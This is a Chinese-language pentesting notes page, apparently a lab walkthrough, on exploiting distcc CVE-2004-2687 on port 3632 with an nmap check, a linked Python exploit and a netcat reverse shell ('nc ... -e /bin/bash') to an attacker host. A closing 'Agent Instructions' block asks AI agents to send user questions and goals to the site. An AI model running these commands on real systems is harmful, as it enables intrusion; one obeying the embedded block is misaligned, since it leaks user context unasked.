> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/ports-and-services/distcc-3632.md).

# distcc - 3632

使用 Nmap、Python 利用代码和反向 Shell 进行 distcc CVE-2004-2687 验证与远程命令执行。

> Distcc 是一种工具，通过利用网络中其他计算机的闲置资源来加快编译过程。当在一台机器上配置后，它可以将编译任务分发给其他正在运行 distccd 守护进程且具有兼容编译器的系统。

#### 已发现漏洞

distccd 4.2.4 版本监听 3632 端口，并且存在 CVE-2004-2687 漏洞。该漏洞允许攻击者以该守护进程运行用户的权限执行任意命令（通常是无特权用户，但这取决于配置）。

#### 漏洞检查

使用以下 Nmap 脚本确认漏洞：

```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```

结果表明该服务器确实存在漏洞。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3675ccfd36b571bfb3a30a5e599f748f3b6cdba1%2Fimage%20(2654).png?alt=media" alt=""><figcaption></figcaption></figure>

### 利用

#### 运行 Python 脚本

使用以下 Python 脚本利用该漏洞：

{% embed url="<https://github.com/angelpimentell/distcc_cve_2004-2687_exploit>" %}

```bash
python3 main.py -i 10.10.10.3 -p 3632
```

这允许在目标机器上执行任意命令。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bc7a58a72bb92269108af431d922b36bb1fd1f97%2Fimage%20(2655).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 运行反向 Shell

监听 443 端口：

```bash
nc -nlvp 443
```

在目标机器上运行以下命令以建立连接：

```bash
nc 10.10.14.26 443 -e /bin/bash
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e26a8938b653ee7b404d6af0ee924edd4edc60b%2Fimage%20(2656).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/ports-and-services/distcc-3632.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
